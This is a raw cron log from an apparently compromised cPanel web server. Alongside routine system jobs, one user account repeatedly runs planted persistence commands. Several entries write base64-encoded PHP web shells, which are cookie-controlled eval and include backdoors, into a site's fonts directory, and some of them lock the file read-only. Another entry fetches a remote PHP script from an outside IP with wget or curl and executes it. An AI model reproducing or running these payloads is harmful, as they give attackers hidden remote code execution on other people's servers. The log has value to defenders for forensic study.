Sep  3 19:03:01 ip-184-168-122-23 CROND[17998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:03:01 ip-184-168-122-23 CROND[18000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:04:01 ip-184-168-122-23 CROND[18087]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:04:01 ip-184-168-122-23 CROND[18086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:04:01 ip-184-168-122-23 CROND[18091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:04:01 ip-184-168-122-23 CROND[18090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:04:01 ip-184-168-122-23 CROND[18092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:05:01 ip-184-168-122-23 CROND[18179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:05:01 ip-184-168-122-23 CROND[18180]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:05:01 ip-184-168-122-23 CROND[18183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:05:01 ip-184-168-122-23 CROND[18184]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 19:05:01 ip-184-168-122-23 CROND[18186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:05:01 ip-184-168-122-23 CROND[18185]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:05:01 ip-184-168-122-23 CROND[18187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:06:01 ip-184-168-122-23 CROND[18273]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:06:01 ip-184-168-122-23 CROND[18274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:06:01 ip-184-168-122-23 CROND[18277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:06:01 ip-184-168-122-23 CROND[18275]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:06:01 ip-184-168-122-23 CROND[18276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:07:01 ip-184-168-122-23 CROND[18438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:07:01 ip-184-168-122-23 CROND[18441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:07:01 ip-184-168-122-23 CROND[18442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:07:01 ip-184-168-122-23 CROND[18440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:08:01 ip-184-168-122-23 CROND[18525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:08:01 ip-184-168-122-23 CROND[18527]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:08:01 ip-184-168-122-23 CROND[18530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:08:01 ip-184-168-122-23 CROND[18529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:08:01 ip-184-168-122-23 CROND[18528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:09:01 ip-184-168-122-23 CROND[18614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:09:01 ip-184-168-122-23 CROND[18615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:09:01 ip-184-168-122-23 CROND[18616]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 19:09:01 ip-184-168-122-23 CROND[18618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:09:01 ip-184-168-122-23 CROND[18617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:10:01 ip-184-168-122-23 CROND[18716]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:10:01 ip-184-168-122-23 CROND[18719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:10:01 ip-184-168-122-23 CROND[18721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:10:01 ip-184-168-122-23 CROND[18727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:10:01 ip-184-168-122-23 CROND[18728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:10:01 ip-184-168-122-23 CROND[18723]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:10:01 ip-184-168-122-23 CROND[18729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:10:01 ip-184-168-122-23 CROND[18724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:11:02 ip-184-168-122-23 CROND[18820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:11:02 ip-184-168-122-23 CROND[18821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:11:02 ip-184-168-122-23 CROND[18822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:11:02 ip-184-168-122-23 CROND[18823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:12:01 ip-184-168-122-23 CROND[18908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:12:01 ip-184-168-122-23 CROND[18910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:12:01 ip-184-168-122-23 CROND[18911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:12:01 ip-184-168-122-23 CROND[18913]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:12:01 ip-184-168-122-23 CROND[18912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:13:01 ip-184-168-122-23 CROND[19095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:13:01 ip-184-168-122-23 CROND[19098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:13:02 ip-184-168-122-23 CROND[19097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:13:02 ip-184-168-122-23 CROND[19099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:14:01 ip-184-168-122-23 CROND[19192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:14:01 ip-184-168-122-23 CROND[19194]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 19:14:01 ip-184-168-122-23 CROND[19195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:14:01 ip-184-168-122-23 CROND[19196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:14:01 ip-184-168-122-23 CROND[19198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:15:01 ip-184-168-122-23 CROND[19282]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 19:15:01 ip-184-168-122-23 CROND[19285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 19:15:01 ip-184-168-122-23 CROND[19286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:15:01 ip-184-168-122-23 CROND[19284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
